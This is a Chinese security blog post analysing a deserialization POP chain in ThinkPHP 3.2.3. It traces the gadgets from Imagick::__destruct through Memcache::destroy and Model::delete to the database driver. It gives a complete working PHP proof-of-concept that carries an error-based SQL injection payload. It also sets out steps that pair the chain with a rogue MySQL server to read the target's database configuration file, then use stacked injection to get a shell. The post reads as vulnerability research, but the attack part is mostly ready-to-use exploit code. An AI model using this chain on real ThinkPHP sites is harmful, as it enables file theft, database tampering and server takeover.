ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链

ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链

测试环境

  • OS: MAC OS

  • PHP: 5.4.45

  • ThinkPHP: 3.2.3

环境搭建

直接在Web目录下Composer一把梭。

composer create-project topthink/thinkphp=3.2.3 tp3

然后访问首页

框架会自动生成一个默认控制器,在默认控制器下添加一个测试用的Action即可。

POP链分析

起点

全局搜索function __destruct(,找一个起点。

文件:/ThinkPHP/Library/Think/Image/Driver/Imagick.class.php

这里的$this->img可控,且调用了$this->imgdestroy()

跳板1

这时候我们需要一个有destroy()成员方法的一个跳板类,还是一样全局搜索function destroy(,成功找到一个可用的跳板类。

文件:/ThinkPHP/Library/Think/Session/Driver/Memcache.class.php

这里的destroy()方法需要传入一个$sessID,但是前面Imagick::__destruct中调用destroy()方法的时候并没有传值。

这里踩了下坑,因为在PHP7下起的ThinkPHP框架在这种情况下(调用有参函数时不传参数)会触发框架里的错误处理,从而报错。这块暂时没细究。

切换到PHP5继续往下分析。这里的$this->handle可控,并且调用了$this->handledelete()方法,且传过去的参数是部分可控的,因此我们可以继续寻找有delete()方法的跳板类。

跳板2

全局搜索function delete(,找到一个Model类。

文件:/ThinkPHP/Library/Think/Model.class.php

这里的$pk其实就是$this->pk,是完全可控的。


下面的$options是从跳板1传过来的,在跳板1中可以控制其是否为空。$this->options['where']是成员属性,是可控的,因此506行的条件我们可以控制,且508行的条件我们也是可以控制的。


所以我们可以控制程序走到509行。


509中又调用了一次自己$this->delete(),但是这时候的参数$this->data[$pk]是我们可控的。


这时delete()我们就可以成功带可控参数访问了。

这时候熟悉ThinkPHP的师傅们就应该懂了。这是ThinkPHP的数据库模型类中的delete()方法,最终会去调用到数据库驱动类中的delete()中去,也就是558行。且上面的一堆条件判断很显然都是我们可以控制的包括调用$this->db->delete($options)时的$options参数我们也可以控制。

那么这时候我们就可以调用任意自带的数据库类中的delete()方法了。

终点

文件:/ThinkPHP/Library/Think/Db/Driver.class.php

上面已经说过了,这边的参数是完全可控的,所以这里的$table是可控的,将$table拼接到$sql传入了$this->execute()

这里有一个初始化数据库链接的地方,跟过去看看。

可以通过控制成员属性,使程序调用到$this->connect()

可以看到这里是去使用$this->config里的配置去创建了数据库连接,接着去执行前面拼接的DELETESQL语句。

到此,我们就找到了一条可以连接任意数据库的POP链。

漏洞利用

此POP链的正常利用过程应该是:

  1. 通过某处leak出目标的数据库配置

  2. 触发反序列化

  3. 触发链中DELETE语句的SQL注入

但是如果只是这样,那么这个链子其实十分鸡肋。但是因为这里可以连接任意数据库,于是我想到了MySQL恶意服务端读取客户端文件漏洞。这样的话,利用过程就变成了:

  1. 通过某处leak出目标的WEB目录(e.g. DEBUG页面)

  2. 开启恶意MySQL恶意服务端设置读取的文件为目标的数据库配置文件

  3. 触发反序列化

  4. 触发链中PDO连接的部分

  5. 获取到目标的数据库配置

  6. 使用目标的数据库配置再次出发反序列化

  7. 触发链中DELETE语句的SQL注入

POC:

<?php
namespace Think\Db\Driver{
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true // 开启才能读取文件
);
protected $config = array(
"debug" => 1,
"database" => "thinkphp3",
"hostname" => "127.0.0.1",
"hostport" => "3306",
"charset" => "utf8",
"username" => "root",
"password" => ""
);
}
}

namespace Think\Image\Driver{
use Think\Session\Driver\Memcache;
class Imagick{
private $img;

public function __construct(){
$this->img = new Memcache();
}
}
}

namespace Think\Session\Driver{
use Think\Model;
class Memcache{
protected $handle;

public function __construct(){
$this->handle = new Model();
}
}
}

namespace Think{
use Think\Db\Driver\Mysql;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;

public function __construct(){
$this->db = new Mysql();
$this->options['where'] = '';
$this->pk = 'id';
$this->data[$this->pk] = array(
"table" => "mysql.user where 1=updatexml(1,user(),1)#",
"where" => "1=1"
);
}
}
}

namespace {
echo base64_encode(serialize(new Think\Image\Driver\Imagick()));
}

利用过程

开启恶意MySQL服务器,设置读取文件为目标的数据库配置文件。

接着将POC中的数据库连接配置改成恶意MySQL服务器的ip和端口。

使用POC运行后的结果去触发反序列化。

成功触发MySQL恶意服务端读取客户端文件漏洞。

将POC中的数据库连接配置替换为目标的数据库配置,且修改需要注入的SQL语句。

使用POC运行后的结果去触发反序列化。

成功完成SQL注入,而且因为ThinkPHP v3.2.*默认使用的是PDO驱动来实现的数据库类,因为PDO默认是支持多语句查询的,所以这个点是可以堆叠注入的。
也就是说这里可以使用导出数据库日志等手段实现Getshell,或者使用UPDATE语句插入数据进数据库内等操作。

结尾

因为这里已经可以调用任意数据库类(不止MySQL)了,但是笔主目前只想到这种利用方式,如果有其他更骚的利用方式也欢迎各位大师傅们一起来交流分享。

引用链接

ThinkPHP3.2.3完全开发手册:https://www.kancloud.cn/manual/thinkphp/1678

扫码二维码

获取更多精彩

洛米唯熊

点个在看 你最好看

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,117评论 4 360
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 66,963评论 1 290
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 107,897评论 0 240
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,805评论 0 203
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,208评论 3 286
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,535评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,797评论 2 311
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,493评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,215评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,477评论 2 244
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 31,988评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,325评论 2 252
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 32,971评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,055评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,807评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,544评论 2 271
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,455评论 2 266

推荐阅读更多精彩内容